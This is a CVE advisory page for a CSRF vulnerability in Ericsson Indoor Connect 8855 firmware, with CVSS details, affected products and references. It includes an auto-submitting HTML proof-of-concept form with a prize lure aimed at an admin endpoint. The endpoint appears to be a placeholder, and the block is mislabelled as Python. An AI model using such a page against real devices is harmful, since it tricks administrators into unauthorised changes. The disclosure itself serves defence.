CVE-2025-40841

Description

Ericsson Indoor Connect 8855 versions prior to 2025.Q3 contains a Cross-Site Request Forgery (CSRF) vulnerability which, if exploited, can lead to unauthorized modification of certain information.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:ericsson:indoor_connect_8855_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:ericsson:indoor_connect_8855:-:*:*:*:*:*:*:* - NOT VULNERABLE

Ericsson Indoor Connect 8855 < 2025.Q3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Proof of Concept (PoC) for CVE-2025-40841
  Description: HTML page demonstrating a CSRF attack to modify device settings.
  Usage: Host this file on a web server and trick an authenticated admin to visit it.
-->
<html>
  <body>
    <!-- Form targeting the vulnerable endpoint (example URL) -->
    <form action="http://target-device-ip/admin/apply" method="POST">
      <!-- Input fields representing the configuration to be changed -->
      <input type="hidden" name="setting_id" value="network_config" />
      <input type="hidden" name="param_value" value="malicious_config" />
      <input type="submit" value="Click to Claim Prize" />
    </form>

    <script>
      // Automatically submit the form when the page loads to minimize interaction
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-40841
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-40841
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-40841/
[4] VulDB https://vuldb.com/cve/CVE-2025-40841
[5] https://www.ericsson.com/en/about-us/security/psirt/CVE-2025-40841
[6] https://www.ericsson.com/en/about-us/security/psirt/security-bulletin-indoorconnect-march-2026

Raw JSON Data

JSON

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